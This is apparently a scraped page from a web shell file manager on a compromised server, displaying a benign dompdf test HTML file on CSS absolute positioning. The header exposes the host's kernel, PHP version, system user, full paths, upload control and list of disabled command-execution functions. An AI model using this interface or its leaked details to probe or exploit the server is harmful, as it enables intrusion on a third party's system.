HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
$ pwd: /storage/v6964/avoxlive/public_html/application/helpers/dompdf/www/test/
Upload Files
File: /storage/v6964/avoxlive/public_html/application/helpers/dompdf/www/test/css_position_absolute.html
<!DOCTYPE HTML>
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />

<title>Printed document</title>

<style type="text/css">

body {
  font-family: sans-serif;
  font-size: 10pt;
	background: #eee;
}

div.absolute {
	border: 2px dotted green;
	position: absolute;
	padding: 0.5em;
	text-align: center;
	vertical-align: middle;
}

</style>
  
</head>

<body>
	<!--
<div class="absolute" style="left: 20px; right: 20px;">
  left/right
</div>-->

<div class="absolute" style="top: 40px; left: 40px;">
  top/left
</div>
<div class="absolute" style="top: 40px; right: 40px;">
  top/right
</div>
<div class="absolute" style="top: 80px; left: 40px; right: 40px;">
  top/left/right
</div>

<div class="absolute" style="top: 160px; left: 160px; right: 160px; bottom: 160px; ">
  top/left/right/bottom
</div>

<div class="absolute" style="bottom: 40px; right: 40px;">
  bottom/right
</div>
<div class="absolute" style="bottom: 40px; left: 40px;">
  bottom/left
</div>
<div class="absolute" style="bottom: 80px; left: 40px; right: 40px;">
  bottom/left/right
</div>

</body>

</html>
@ Telegram